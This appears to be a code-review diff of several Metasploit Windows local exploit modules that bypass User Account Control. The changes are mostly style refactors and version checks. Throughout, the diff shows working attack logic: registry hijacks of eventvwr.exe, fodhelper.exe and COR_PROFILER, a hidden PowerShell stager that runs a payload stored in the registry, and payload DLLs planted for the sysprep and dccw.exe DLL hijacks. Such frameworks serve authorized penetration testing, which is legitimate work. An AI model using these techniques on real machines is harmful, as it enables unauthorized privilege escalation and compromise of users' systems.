vprint_status("payload_pathname = " + payload_pathname)
|
||||
vprint_status('Making Payload')
|
||||
vprint_status('payload_pathname = ' + payload_pathname)
|
||||
payload = generate_payload_dll
|
||||
|
||||
uuid = SecureRandom.uuid
|
||||
vprint_status("UUID = #{uuid}")
|
||||
# This reg key will not hurt anything in windows 10+, but is not required.
|
||||
unless sysinfo['OS'] =~ /Windows (2016|10)/
|
||||
version = get_version_info
|
||||
unless version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
|
||||
@reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
|
||||
value_name: '',
|
||||
value_type: "REG_EXPAND_SZ",
|
||||
value_type: 'REG_EXPAND_SZ',
|
||||
value_value: payload_pathname,
|
||||
delete_on_cleanup: false)
|
||||
end
|
||||
@reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: "COR_PROFILER",
|
||||
value_type: "REG_SZ",
|
||||
reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: 'COR_PROFILER',
|
||||
value_type: 'REG_SZ',
|
||||
value_value: "{#{uuid}}",
|
||||
delete_on_cleanup: false)
|
||||
@reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: "COR_ENABLE_PROFILING",
|
||||
value_type: "REG_SZ",
|
||||
value_value: "1",
|
||||
reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: 'COR_ENABLE_PROFILING',
|
||||
value_type: 'REG_SZ',
|
||||
value_value: '1',
|
||||
delete_on_cleanup: false)
|
||||
@reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: "COR_PROFILER_PATH",
|
||||
value_type: "REG_SZ",
|
||||
reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: 'COR_PROFILER_PATH',
|
||||
value_type: 'REG_SZ',
|
||||
value_value: payload_pathname,
|
||||
delete_on_cleanup: false)
|
||||
@reg_keys.each do |key_hash|
|
||||
|
@ -173,31 +175,31 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Upload payload
|
||||
vprint_status("Uploading Payload to #{payload_pathname}")
|
||||
write_file(payload_pathname, payload)
|
||||
vprint_status("Payload Upload Complete")
|
||||
vprint_status('Payload Upload Complete')
|
||||
|
||||
vprint_status("Launching " + target_filepath)
|
||||
vprint_status('Launching ' + target_filepath)
|
||||
begin
|
||||
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")
|
||||
print_status("Please wait for session and cleanup....")
|
||||
print_status('Please wait for session and cleanup....')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if @reg_keys.present?
|
||||
vprint_status("Removing Registry Changes")
|
||||
vprint_status('Removing Registry Changes')
|
||||
@reg_keys.each do |key_hash|
|
||||
remove_reg_value(key_hash)
|
||||
end
|
||||
vprint_status("Registry Changes Removed")
|
||||
vprint_status('Registry Changes Removed')
|
||||
end
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
|
@ -208,12 +210,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
|
|
@ -11,13 +11,13 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Post::Windows::Registry
|
||||
include Post::Windows::Runas
|
||||
|
||||
EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile"
|
||||
EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command"
|
||||
EXEC_REG_VAL = '' # This maps to "(Default)"
|
||||
EXEC_REG_VAL_TYPE = 'REG_SZ'
|
||||
EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe"
|
||||
EVENTVWR_WOW64_PATH = "%WINDIR%\\SysWOW64\\eventvwr.exe"
|
||||
PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
EVENTVWR_DEL_KEY = 'HKCU\\Software\\Classes\\mscfile'.freeze
|
||||
EVENTVWR_WRITE_KEY = 'HKCU\\Software\\Classes\\mscfile\\shell\\open\\command'.freeze
|
||||
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
|
||||
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
|
||||
EVENTVWR_PATH = '%WINDIR%\\System32\\eventvwr.exe'.freeze
|
||||
EVENTVWR_WOW64_PATH = '%WINDIR%\\SysWOW64\\eventvwr.exe'.freeze
|
||||
PSH_PATH = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'.freeze
|
||||
CMD_MAX_LEN = 2081
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -68,7 +68,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1607)
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
|
@ -85,17 +86,15 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::NoTarget, 'Session and Target arch must match')
|
||||
end
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
vprint_status("Target is x64")
|
||||
vprint_status('Target is x64')
|
||||
if session.arch == ARCH_X86
|
||||
vprint_status("Detected Target/Session mismatch. Syswow Required.")
|
||||
vprint_status('Detected Target/Session mismatch. Syswow Required.')
|
||||
registry_view = REGISTRY_VIEW_64_BIT
|
||||
eventvwr_cmd = EVENTVWR_WOW64_PATH
|
||||
end
|
||||
else
|
||||
elsif target_arch.first == ARCH_X64
|
||||
# if we're on x86, we can't handle x64 payloads
|
||||
if target_arch.first == ARCH_X64
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
|
||||
# Validate that we can actually do things before we bother
|
||||
|
@ -118,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
payload_value = rand_text_alpha(8)
|
||||
psh_path = expand_path("#{PSH_PATH}")
|
||||
psh_path = expand_path(PSH_PATH.to_s)
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
vprint_status("template_path #{template_path}")
|
||||
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded)
|
||||
|
@ -126,30 +125,30 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
|
||||
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
|
||||
|
||||
existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
|
||||
existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
|
||||
|
||||
if existing.empty?
|
||||
registry_createkey(EVENTVWR_WRITE_KEY, registry_view)
|
||||
end
|
||||
|
||||
print_status("Configuring payload and stager registry keys ...")
|
||||
print_status('Configuring payload and stager registry keys ...')
|
||||
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
|
||||
registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
|
||||
|
||||
cmd_path = expand_path("#{eventvwr_cmd}")
|
||||
cmd_path = expand_path(eventvwr_cmd.to_s)
|
||||
print_status("Executing payload: #{cmd_path}")
|
||||
result = client.railgun.shell32.ShellExecuteA(nil, 'open', cmd_path, nil, nil, 'SW_HIDE')
|
||||
|
||||
if result['return'] > 32 then
|
||||
print_good("eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.")
|
||||
Rex::sleep(10)
|
||||
if result['return'] > 32
|
||||
print_good('eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.')
|
||||
Rex.sleep(10)
|
||||
else
|
||||
print_error("eventvwr.exe execution failed with Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}")
|
||||
end
|
||||
|
||||
handler(client)
|
||||
|
||||
print_status("Cleaning up registry keys ...")
|
||||
print_status('Cleaning up registry keys ...')
|
||||
if existing.empty?
|
||||
registry_deletekey(EVENTVWR_DEL_KEY, registry_view)
|
||||
else
|
||||
|
@ -166,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
admin_group = is_in_admin_group?
|
||||
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
||||
end
|
||||
|
||||
unless is_in_admin_group?
|
||||
|
@ -177,12 +176,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
|
|
@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Post::Windows::Registry
|
||||
include Post::Windows::Runas
|
||||
|
||||
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze
|
||||
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze
|
||||
FODHELPER_DEL_KEY = 'HKCU\\Software\\Classes\\ms-settings'.freeze
|
||||
FODHELPER_WRITE_KEY = 'HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command'.freeze
|
||||
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
|
||||
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
|
||||
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
|
||||
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze
|
||||
FODHELPER_PATH = '%WINDIR%\\System32\\fodhelper.exe'.freeze
|
||||
CMD_MAX_LEN = 16383
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -67,7 +67,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled?
|
||||
version = get_version_info
|
||||
if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
|
@ -77,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def exploit
|
||||
commspec = '%COMSPEC%'
|
||||
registry_view = REGISTRY_VIEW_NATIVE
|
||||
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'
|
||||
|
||||
# Make sure we have a sane payload configuration
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
|
@ -87,18 +88,16 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if target_arch.first == ARCH_X64
|
||||
# We can't use absolute path here as
|
||||
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
|
||||
psh_path = "powershell.exe"
|
||||
psh_path = 'powershell.exe'
|
||||
end
|
||||
end
|
||||
if target_arch.first == ARCH_X86
|
||||
# Invoking x86, so switch to SysWOW64
|
||||
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'
|
||||
end
|
||||
else
|
||||
elsif target_arch.first == ARCH_X64
|
||||
# if we're on x86, we can't handle x64 payloads
|
||||
if target_arch.first == ARCH_X64
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
|
||||
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
|
||||
|
@ -137,14 +136,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
|
||||
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
|
||||
|
||||
existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
|
||||
existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
|
||||
exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
|
||||
|
||||
if existing.empty?
|
||||
registry_createkey(FODHELPER_WRITE_KEY, registry_view)
|
||||
end
|
||||
|
||||
print_status("Configuring payload and stager registry keys ...")
|
||||
print_status('Configuring payload and stager registry keys ...')
|
||||
unless exist_delegate
|
||||
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
|
||||
end
|
||||
|
@ -162,11 +161,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
|
||||
# TODO: fix this up to use something smarter than a timeout?
|
||||
Rex::sleep(5)
|
||||
Rex.sleep(5)
|
||||
|
||||
handler(client)
|
||||
|
||||
print_status("Cleaining up registry keys ...")
|
||||
print_status('Cleaining up registry keys ...')
|
||||
unless exist_delegate
|
||||
registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
|
||||
end
|
||||
|
@ -186,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
admin_group = is_in_admin_group?
|
||||
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
||||
end
|
||||
|
||||
unless is_in_admin_group?
|
||||
|
@ -197,12 +196,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
|
|
@ -114,10 +114,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
|
||||
end
|
||||
else
|
||||
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
|
||||
::File.join(path, "bypassuac-#{sysarch}.dll")
|
||||
|
@ -131,12 +129,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
@ -185,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def upload_payload_dll(payload_filepath)
|
||||
payload = generate_payload_dll({ :dll_exitprocess => true })
|
||||
payload = generate_payload_dll({ dll_exitprocess: true })
|
||||
print_status('Uploading the Payload DLL to the filesystem...')
|
||||
begin
|
||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
||||
|
@ -199,13 +195,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def validate_environment!
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
|
||||
winver = sysinfo['OS']
|
||||
|
||||
case winver
|
||||
when /Windows (7|8|2008|2012|10)/
|
||||
print_good("#{winver} may be vulnerable.")
|
||||
version_info = get_version_info
|
||||
# According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md
|
||||
if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8)
|
||||
print_good("#{version_info.product_name} may be vulnerable.")
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
|
@ -220,13 +215,13 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def get_file_paths(win_path, payload_filepath)
|
||||
paths = {}
|
||||
|
||||
case sysinfo['OS']
|
||||
when /Windows (7|2008)/
|
||||
version_info = get_version_info
|
||||
if version_info.win7_or_2008r2?
|
||||
paths[:szElevDll] = 'CRYPTBASE.dll'
|
||||
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
|
||||
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
|
||||
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
|
||||
when /Windows (8|2012|10)/
|
||||
else
|
||||
paths[:szElevDll] = 'NTWDBLIB.dll'
|
||||
paths[:szElevDir] = "#{win_path}\\System32"
|
||||
# This should be fine to be left blank
|
||||
|
|
|
@ -93,9 +93,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Establish the folder pattern so as to get those folders that match it
|
||||
sysarch = sysinfo['Architecture']
|
||||
if sysarch == ARCH_X86
|
||||
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
|
||||
targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
|
||||
else
|
||||
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
|
||||
targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
|
||||
end
|
||||
|
||||
directoryNames = get_directories(payload_filepath, targetedDirectories)
|
||||
|
@ -117,14 +117,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
else
|
||||
::File.join(path, "bypassuac-x86.dll")
|
||||
::File.join(path, 'bypassuac-x86.dll')
|
||||
end
|
||||
elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
|
||||
::File.join(path, 'bypassuac-x64.dll')
|
||||
else
|
||||
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
|
||||
else
|
||||
::File.join(path, "bypassuac-x64.dll")
|
||||
end
|
||||
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -137,12 +135,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
@ -192,9 +188,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
# Upload only one DLL, the rest will be copied into the specific folders
|
||||
def upload_payload_dll(payload_filepath, directoryNames)
|
||||
def upload_payload_dll(_payload_filepath, directoryNames)
|
||||
dllPath = "#{directoryNames[0]}\\GdiPlus.dll"
|
||||
payload = generate_payload_dccw_gdiplus_dll({ :dll_exitprocess => true })
|
||||
payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true })
|
||||
print_status('Uploading the Payload DLL to the filesystem...')
|
||||
begin
|
||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
|
||||
|
@ -212,7 +208,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def copy_payload_dll(directoryNames, dllPath)
|
||||
1.step(directoryNames.size - 1, 1) do |i|
|
||||
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
|
||||
print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...")
|
||||
print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -221,13 +217,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def validate_environment!
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
|
||||
winver = sysinfo['OS']
|
||||
|
||||
case winver
|
||||
when /Windows (8|10)/
|
||||
print_good("#{winver} may be vulnerable.")
|
||||
version = get_version_info
|
||||
if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) ||
|
||||
(version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019))
|
||||
print_good("#{version.product_name} may be vulnerable.")
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
|
@ -245,7 +240,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def create_directories(payload_filepath, directoryNames)
|
||||
env_vars = get_envs('TEMP')
|
||||
|
||||
print_status("Creating temporary folders...")
|
||||
print_status('Creating temporary folders...')
|
||||
if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
|
||||
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
|
||||
end
|
||||
|
@ -261,19 +256,19 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def get_directories(payload_filepath, targetedDirectories)
|
||||
directoryNames = []
|
||||
findFileDataSize = 592
|
||||
maxPath = client.railgun.const("MAX_PATH")
|
||||
maxPath = client.railgun.const('MAX_PATH')
|
||||
fileNamePadding = 44
|
||||
|
||||
hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
|
||||
if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE")
|
||||
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
|
||||
if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE')
|
||||
fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
|
||||
end
|
||||
|
||||
findFileData = hFile['lpFindFileData']
|
||||
moreFiles = true
|
||||
until moreFiles == false do
|
||||
until moreFiles == false
|
||||
fileAttributes = findFileData[0, 4].unpack('V').first
|
||||
andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY")
|
||||
andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY')
|
||||
if andOperation
|
||||
# Removes the remainder part composed of 'A' of the path and the last null character
|
||||
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first
|
||||
|
@ -287,8 +282,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
client.railgun.kernel32.FindClose(hFile['return'])
|
||||
|
||||
if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")
|
||||
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
|
||||
if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES')
|
||||
fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
|
||||
end
|
||||
|
||||
directoryNames
|
||||
|
@ -330,8 +325,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
# When a new session is obtained, it removes the dropped elements (files and folders)
|
||||
def on_new_session(session)
|
||||
if session.type == 'meterpreter'
|
||||
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
|
||||
if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi')
|
||||
session.core.use('stdapi')
|
||||
end
|
||||
remove_dropped_elements(session)
|
||||
end
|
||||
|
@ -345,9 +340,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
sysarch = sysinfo['Architecture']
|
||||
if sysarch == ARCH_X86
|
||||
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
|
||||
targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
|
||||
else
|
||||
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
|
||||
targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
|
||||
end
|
||||
|
||||
directoryNames = get_directories(payload_filepath, targetedDirectories)
|
||||
|
@ -366,7 +361,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
|
||||
def remove_dlls(session, directoryNames, file_paths, droppedElements)
|
||||
directoryNames.each do |dirName|
|
||||
directoryName = dirName.split("\\").last
|
||||
directoryName = dirName.split('\\').last
|
||||
|
||||
begin
|
||||
droppedElements.push("#{dirName}\\GdiPlus.dll")
|
||||
|
@ -387,7 +382,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
|
||||
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
|
||||
directoryNames.each do |dirName|
|
||||
directoryName = dirName.split("\\").last
|
||||
directoryName = dirName.split('\\').last
|
||||
|
||||
begin
|
||||
droppedElements.push(dirName)
|
||||
|
@ -427,21 +422,19 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
successfullyRemoved = true
|
||||
|
||||
droppedElements.each do |element|
|
||||
begin
|
||||
stat = session.fs.file.stat(element)
|
||||
if stat
|
||||
print_error("Unable to delete #{element}!")
|
||||
successfullyRemoved = false
|
||||
end
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
stat = session.fs.file.stat(element)
|
||||
if stat
|
||||
print_error("Unable to delete #{element}!")
|
||||
successfullyRemoved = false
|
||||
end
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
end
|
||||
|
||||
if successfullyRemoved
|
||||
print_good("All the dropped elements have been successfully removed")
|
||||
print_good('All the dropped elements have been successfully removed')
|
||||
else
|
||||
print_warning("Could not delete some dropped elements! They will require manual cleanup on the target")
|
||||
print_warning('Could not delete some dropped elements! They will require manual cleanup on the target')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -63,7 +63,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
